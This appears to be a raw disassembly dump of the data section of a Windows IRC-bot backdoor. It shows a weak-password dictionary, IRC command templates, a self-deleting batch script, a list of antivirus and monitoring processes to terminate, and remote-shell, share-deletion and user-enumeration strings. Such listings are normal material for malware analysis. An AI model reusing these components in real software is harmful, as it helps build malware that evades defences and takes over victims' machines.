		align 10h
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .packed:0043AAB0o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .packed:0043AAACo
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .packed:0043AAA8o
		align 10h
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .packed:0043AAA4o
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .packed:0043AAA0o
		align 4
off_43B184	dd offset byte_457441	; DATA XREF: .packed:0043AA9Co
dword_43B188	dd 414C5941h, 2DhaAlbina		db 'albina',0           ; DATA XREF: .packed:0043AA94o
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .packed:0043AA90o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .packed:0043AA8Co
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .packed:0043AA88o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .packed:0043AA84o
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .packed:0043AA80o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .packed:0043AA7Co
		align 10h
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .packed:0043AA78o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .packed:0043AA74o
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .packed:0043AA70o
		align 10h
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .packed:0043AA6Co
aAslii		db 'aslii',0            ; DATA XREF: .packed:0043AA68o
		align 10h
aErnesto	db 'ERNESTO',0          ; DATA XREF: .packed:0043AA64o
aHaticem	db 'haticem',0          ; DATA XREF: .packed:0043AA60o
aArzu		db 'ARZU',0             ; DATA XREF: .packed:0043AA5Co
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .packed:0043AA58o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .packed:0043AA54o
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .packed:0043AA50o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .packed:0043AA4Co
		align 10h
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .packed:0043AA48o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .packed:0043AA44o
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .packed:0043AA40o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .packed:0043AA3Co
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .packed:0043AA38o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .packed:0043AA34o
aTolga34	db 'Tolga34',0          ; DATA XREF: .packed:0043AA30o
aMisssunday	db 'misssunday',0       ; DATA XREF: .packed:0043AA2Co
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .packed:0043AA28o
		align 10h
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .packed:0043AA24o
		align 10h
aBerk19		db 'berk19',0           ; DATA XREF: .packed:0043AA20o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .packed:0043AA1Co
		align 10h
aErkan27	db 'erkan27',0          ; DATA XREF: .packed:0043AA18o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .packed:0043AA14o
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .packed:0043AA10o
		align 10h
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .packed:0043AA0Co
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .packed:0043AA08o
aReshma		db 'reshma',0           ; DATA XREF: .packed:0043AA04o
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .packed:0043AA00o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .packed:0043A9FCo
		align 4
aImra		db 'imra',0             ; DATA XREF: .packed:0043A9F8o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .packed:0043A9F4o
		align 10h
aPuregold	db 'puregold',0         ; DATA XREF: .packed:0043A9F0o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .packed:0043A9ECo
		align 4
aManee		db 'manee',0            ; DATA XREF: .packed:0043A9E8o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .packed:0043A9E4o
aLuisa		db 'Luisa',0            ; DATA XREF: .packed:0043A9E0o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .packed:0043A9DCo
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .packed:0043A9D8o
		align 10h
aJanno		db 'janno',0            ; DATA XREF: .packed:0043A9D4o
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .packed:0043A9D0o
		align 10h
aHeval		db 'heval',0            ; DATA XREF: .packed:0043A9CCo
		align 4
aCme		db 'cme',0              ; DATA XREF: .packed:0043A9C8o
aMarcy		db 'marcy',0            ; DATA XREF: .packed:0043A9C4o
		align 4
aTalika		db 'talika',0           ; DATA XREF: .packed:0043A9C0o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .packed:0043A9BCo
		align 4
aKen		db 'ken',0              ; DATA XREF: .packed:0043A9B8o
aFlexster	db 'flexster',0         ; DATA XREF: .packed:0043A9B4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: .packed:0043A9B0o
		align 4
aMale		db 'male',0             ; DATA XREF: .packed:0043A9ACo
		align 4
aSwin		db 'swin',0             ; DATA XREF: .packed:0043A9A8o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .packed:0043A9A4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: .packed:0043A9A0o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .packed:0043A99Co
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .packed:0043A998o
		align 10h
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .packed:0043A994o
aFarooq		db 'farooq',0           ; DATA XREF: .packed:0043A990o
		align 10h
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .packed:0043A98Co
		align 4
aM_1:					; DATA XREF: .packed:0043A988o
					; .packed:0043ACD4o
		unicode	0, <M>,0
word_43B3F0	dw 4Eh			; DATA XREF: sub_41A628+38r
					; .packed:0043A984o
		align 4
dword_43B3F4	dd 42h		dword_43B3F8	dd 56h		dword_43B3FC	dd 43h		dword_43B400	dd 58h							; .packed:0043AD08o
dword_43B404	dd 5Ah		dword_43B408	dd 4Ch		dword_43B40C	dd 4Bh		dword_43B410	dd 4Ah		dword_43B414	dd 48h		dword_43B418	dd 47h		dword_43B41C	dd 46h							; .packed:0043ACD0o
dword_43B420	dd 44h		dword_43B424	dd 53h		dword_43B428	dd 50h		dword_43B42C	dd 4Fh		dword_43B430	dd 55h		word_43B434	dw 59h			; DATA XREF: sub_41A94E+38r
					; .packed:0043A938o
		align 4
dword_43B438	dd 54h		dword_43B43C	dd 52h		dword_43B440	dd 45h		dword_43B444	dd 57h		dword_43B448	dd 51h		dword_43B44C	dd 62h							; .packed:0043ACE4o
dword_43B450	dd 78h							; .packed:0043AC64o
dword_43B454	dd 7Ah							; .packed:0043AC6Co ...
dword_43B458	dd 6Ch							; .packed:0043AC38o
dword_43B45C	dd 68h							; .packed:0043AC24o
dword_43B460	dd 67h							; .packed:0043AC20o ...
dword_43B464	dd 66h							; .packed:0043AC1Co
dword_43B468	dd 79h		dword_43B46C	dd 77h							; .packed:0043AC60o
dword_43B470	dd 4B43494Eh, 0A732520h, 0dword_43B47C	dd 323334h	dword_43B480	dd 474E4F50h, 0A732520h, 0aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417E12+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_41802F+BCo
					; sub_41802F+174r ...
		align 4
dword_43B4C8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B514	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_43B530:				; DATA XREF: sub_418466+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43B544	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_418466+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418827+72o
		align 4
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_4188EC+5o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_41896E+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418A12+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418A34+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418A34+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418A34+48o
		align 10h
unk_43B600	db  2Dh	; -		; DATA XREF: sub_418BBC+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
unk_43B630	db  2Dh	; -		; DATA XREF: sub_418BBC+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_43B658	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418BBC+5Co
		dd 65726165h, 64h, 0
off_43B678	dd offset aAdd		; DATA XREF: sub_418E93+6Dr
					; sub_41927A+50r ...
					; "Add"
off_43B67C	dd offset aAdded	; DATA XREF: sub_418E93+2Dr
					; sub_41927A+82r ...
					; "Added"
dword_43B680	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43B6ECh, 43B6E4h,	2, 43B6D8h, 43B6CCh, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .packed:0043B6ACo
aStop_0		db 'Stop',0             ; DATA XREF: .packed:0043B6A8o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .packed:0043B6A0o
aStart_0	db 'Start',0            ; DATA XREF: .packed:0043B69Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .packed:0043B694o
		align 4
aList_1		db 'List',0             ; DATA XREF: .packed:0043B690o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .packed:0043B688o
aDelete_0	db 'Delete',0           ; DATA XREF: .packed:0043B684o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .packed:off_43B67Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: .packed:off_43B678o
unk_43B740	db  2Dh	; -		; DATA XREF: sub_418E93+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43B764	db  2Dh	; -		; DATA XREF: sub_418E93+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43B790	db  2Dh	; -		; DATA XREF: sub_418E93+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418FBC+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418FBC:loc_4190D4o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418FBC:loc_4190CDo
		align 8
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418FBC:loc_4190C6o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418FBC:loc_4190BFo
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418FBC:loc_4190B8o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418FBC:loc_4190B1o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418FBC:loc_4190AAo
		align 8
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418FBC:loc_4190A3o
		align 10h
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418FBC:loc_41909Co
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418FBC:loc_419095o
		align 10h
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418FBC:loc_41906Ao
		align 10h
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418FBC:loc_419063o
		db ' the service.',0
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418FBC:loc_41905Co
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418FBC:loc_419055o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418FBC+8Fo
		align 8
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418FBC:loc_41902Ao
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418FBC:loc_419020o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418FBC:loc_419016o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418FBC:loc_41900Co
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418FBC:loc_419002o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418FBC+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41913A+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41913A:loc_419209o
aStarting	db '   Starting',0      ; DATA XREF: sub_41913A:loc_419202o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41913A:loc_4191FBo
aRunning	db '    Running',0      ; DATA XREF: sub_41913A:loc_4191F4o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41913A:loc_4191EDo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41913A:loc_4191E6o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41913A:loc_4191DFo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41913A+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41913A+25o
		align 4
unk_43BCF4	db  2Dh	; -		; DATA XREF: sub_41927A+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_43BD18	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41927A+89o
		dd 73252720h, 27h
unk_43BD34	db  2Dh	; -		; DATA XREF: sub_41927A+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41946F+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_41946F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_41946F+B5o
unk_43BD80	db  2Dh	; -		; DATA XREF: sub_41946F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_41946F+26o
		align 10h
unk_43BDE0	db  2Dh	; -		; DATA XREF: sub_419590+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_43BE08	db  2Dh	; -		; DATA XREF: sub_419590+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_43BE38	db  2Dh	; -		; DATA XREF: sub_419590+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_43BE58	db  2Dh	; -		; DATA XREF: sub_4196D6+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4196D6+36Ao
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4196D6+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4196D6+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4196D6+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4196D6+2C4o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4196D6+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4196D6+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4196D6+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4196D6+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4196D6+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4196D6+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4196D6+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4196D6+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4196D6+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4196D6+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4196D6:loc_4197EFo
		align 4
aUser_2		db 'User',0             ; DATA XREF: sub_4196D6:loc_4197E8o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4196D6:loc_4197E1o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4196D6+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4196D6+ACo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4196D6+81o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4196D6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_419AA4+145o
		align 4
unk_43C014	db  2Dh	; -		; DATA XREF: sub_419AA4:loc_419B91o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_6		db '  %S',0             ; DATA XREF: sub_419AA4+BAo
		align 4
unk_43C048	db  2Dh	; -		; DATA XREF: sub_419AA4+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_419AA4+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419C1A:loc_419D37o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419C1A:loc_419D30o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419C1A:loc_419D29o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419D22o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419C1A:loc_419D1Bo
		align 8
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419C1A:loc_419CFEo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF7o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419C1A:loc_419CF0o
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419C1A+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419C1A:loc_419CC5o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419C1A:loc_419CBEo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419C1A:loc_419CB7o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419C1A:loc_419CADo
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419C1A+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419C1A:loc_419C87o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419C1A:loc_419C7Do
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419C1A:loc_419C73o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419C1A:loc_419C69o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419C1A:loc_419C5Fo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419C1A+3Bo
		align 4
dword_43C358	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419D4E+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43C384	db  2Dh	; -		; DATA XREF: sub_419D4E+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 10h
dword_43C3B0	dd 7530h			align 8
off_43C3B8	dd offset aRegedit_exe	; DATA XREF: sub_419E77:loc_419F3Dr
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43C4C0
		dd offset dword_43C4B4
		dd offset dword_43C4A8
		dd offset dword_43C49C
		dd offset dword_43C490
		dd offset dword_43C484
		dd offset dword_43C474
		dd offset dword_43C468
		dd offset dword_43C45C
		dd offset dword_43C450
		dd offset dword_43C444
		dd offset dword_43C434
		dd offset dword_43C428
		dd offset dword_43C418
dword_43C418	dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C428	dd 6E757269h, 78652E34h, 65hdword_43C434	dd 75643364h, 74616470h, 78652E65h, 65hdword_43C444	dd 65746172h, 6578652Eh, 0dword_43C450	dd 74617373h, 78652E65h, 65hdword_43C45C	dd 736E6977h, 652E7379h, 6578hdword_43C468	dd 756E6977h, 652E6470h, 6578hdword_43C474	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C484	dd 61656262h, 2E656C67h, 657865hdword_43C490	dd 696E6550h, 2E323373h, 657865hdword_43C49C	dd 6B656574h, 2E736469h, 657865hdword_43C4A8	dd 4C42534Dh, 2E545341h, 657865hdword_43C4B4	dd 7663736Dh, 2E323362h, 657865hdword_43C4C0	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .packed:0043C3DCo
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .packed:0043C3D8o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .packed:0043C3D4o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .packed:0043C3D0o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .packed:0043C3CCo
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .packed:0043C3C8o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .packed:0043C3C4o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .packed:0043C3C0o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .packed:0043C3BCo
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .packed:off_43C3B8o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419E77+181o
		align 10h
unk_43C570	db  2Dh	; -		; DATA XREF: sub_41A09A:loc_41A127o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43C594	db  2Dh	; -		; DATA XREF: sub_41A09A+86o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43C5B8	db  2Dh	; -		; DATA XREF: sub_41A09A+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A237+33o
unk_43C5E8	db  2Dh	; -		; DATA XREF: sub_41A2BE:loc_41A3F0o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43C618	db  2Dh	; -		; DATA XREF: sub_41A2BE+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43C640	db  2Dh	; -		; DATA XREF: sub_41A2BE:loc_41A3A4o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43C670	db  2Dh	; -		; DATA XREF: sub_41A413+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43C6A4	db  2Dh	; -		; DATA XREF: sub_41A413+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
dword_43C6C8	dd 1D4C0h	off_43C6CC	dd offset dword_43C704	; DATA XREF: sub_41A628:loc_41A7DDr
					; sub_41A628+1C3r ...
dword_43C6D0	dd 0				dd offset dword_43C6FC
		dd 0
		dd offset dword_43C6F8
		dd offset dword_43C6F4
		dd offset dword_43C6F0
		dd offset dword_43C6EC
dword_43C6EC	dd 5C3A44h	dword_43C6F0	dd 2444h	dword_43C6F4	dd 5C3A43h	dword_43C6F8	dd 2443h	dword_43C6FC	dd 494D4441h, 244Ehdword_43C704	dd 24435049h, 0	dword_43C70C	dd 234032Dh, 75636573h,	3026572h					; sub_41A94E+2DDo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43C73C	dd 234032Dh, 75636573h,	3026572haNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43C764	dd 234032Dh, 75636573h,	3026572haFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
dword_43C790	dd 234032Dh, 75636573h,	3026572haShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43C7B4	dd 234032Dh, 75636573h,	3026572haFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 10h
dword_43C7E0	dd 234032Dh, 75636573h,	3026572haShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43C804	dd 234032Dh, 75636573h,	3026572h					; sub_41A94E:loc_41AA7Co
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43C834	dd 234032Dh, 75636573h,	3026572haFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43C870	dd 234032Dh, 75636573h,	3026572haRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43C8A4	dd 234032Dh, 75636573h,	3026572haFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 10h
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A628+EDo
